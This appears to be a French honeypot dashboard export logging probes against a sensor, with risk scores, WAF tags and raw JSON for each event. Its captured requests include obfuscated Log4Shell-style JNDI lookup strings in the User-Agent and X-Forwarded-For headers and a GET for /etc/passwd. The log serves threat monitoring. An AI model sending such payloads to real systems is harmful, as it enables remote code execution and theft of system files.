"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:40 UTC
TCP
8085 · HTTP
Sonde port 8085/TCP
port 8085 tcp · via HTTP:8085 · (sonde / probe)
Élevée
Moyen · 50
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8085
Chemin / cible
/
Preuve honeypot — Sonde port 8085/TCP
Connexion détectée sur le port 8085 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8085_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 50
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8085
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8085 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${t:5ay:6:-j}${ur5g:c:y7m:-n}${zfl7:39ce:8:-d}${ia4:4:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.892177577374536,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.8,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 50,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "c5fadf0e4d9b9608c177c6b326e49f5c64686300",
"event_fingerprint": "0fcaa6a995d1cdf34f87aa636ef596625b2ef958",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 50,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "ff9058ace4fd17e38d7919309c4c8ab0",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 50
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${t:5ay:6:-j}${ur5g:c:y7m:-n}${zfl7:39ce:8:-d}${ia4:4:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${t:5ay:6:-j}${ur5g:c:y7m:-n}${zfl7:39ce:8:-d}${ia4:4:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "86bfa71bea0b8b25c4089cc0783cac913d591c9b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 50\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 50,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 50,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:39 UTC
TCP
8085 · HTTP
Sonde port 8085/TCP
port 8085 tcp · via HTTP:8085 · (sonde / probe)
Élevée
Moyen · 48
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}$…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_slowloris
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8085
Chemin / cible
/
Preuve honeypot — Sonde port 8085/TCP
Connexion détectée sur le port 8085 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8085_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 48
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-/}${s2:-/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:fexi:--}…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8085
Accept: */*
User-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8085 Accept: */* User-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-/}${s2:-/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:f
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "7ba7e180f86f8e1c57118fe46b476d62bfa0285a",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "a72b19c160c7af932cfce18490d2d2645e33eee8",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.765774357760098,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 48,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "353fddb5abd144485e7128e1a80c79314ebed98a",
"event_fingerprint": "0fcaa6a995d1cdf34f87aa636ef596625b2ef958",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 48,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "aa8d1dfa7584ef186d80f902706f668d",
"payload_hash": "e1ce21644f76c6b6d45726e455e376b5",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 48
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${",
"method": "GET",
"path": "\/",
"user_agent": "${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:fexi:--}${${zfi:-s}${oh:-y}${gjo:-s}${h:7s:-:}${yic:-j}${q0:-a}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:f",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:fexi:--}${${zfi:-s}${oh:-y}${gjo:-s}${h:7s:-:}${yic:-j}${q0:-a}$\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\/}${s2:-\/}${m:j4:-U}${d:4rk:-A}${xf:eu7:-l}${ij9:80h:8:-0}${l:-c}${y178:f",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "4331f555e92296097ab020e8efd6fc94e2379a81",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${",
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 48\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 48,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${s:-l}${h8ex:-d}${1:-a}${hey:-p}${9a8:-:}${cmv1:a:ke8q:-\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${o4:-j}${cmap:i63:-n}${j:zk:ecp:-d}${c:bx2f:-i}${y:ueip:-:}${",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:08 UTC
TCP
8060 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8060 · (tentative d'exploit) · → /etc/passwd
Élevée
Élevé · 66
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1083
TA0001
TA0002
Protocole
GET /etc/passwd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8060
Chemin / cible
/etc/passwd
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 66
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0716
pat-0802
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
MITRE T1083 file enum
SSRF Any-address SSRF
LFI path /etc/passwd
Ligne de requête
GET /etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /etc/passwd HTTP/1.1
Host: 62.3.50.33:8060
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleW
Requête brute (extrait)
GET /etc/passwd HTTP/1.1 Host: 62.3.50.33:8060 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "659aba210ed45d12732dc398ec420869b9d4d3d3",
"http_target_hash": "b5cc3f676d00dd320d85ef41a5209fa0a99891ea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 195,
"payload_entropy": 5.364617647259123,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8060,
